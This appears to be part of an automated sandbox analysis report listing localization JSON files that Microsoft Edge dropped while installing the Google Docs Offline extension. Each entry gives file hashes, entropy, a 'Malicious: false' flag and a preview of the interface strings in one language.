Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
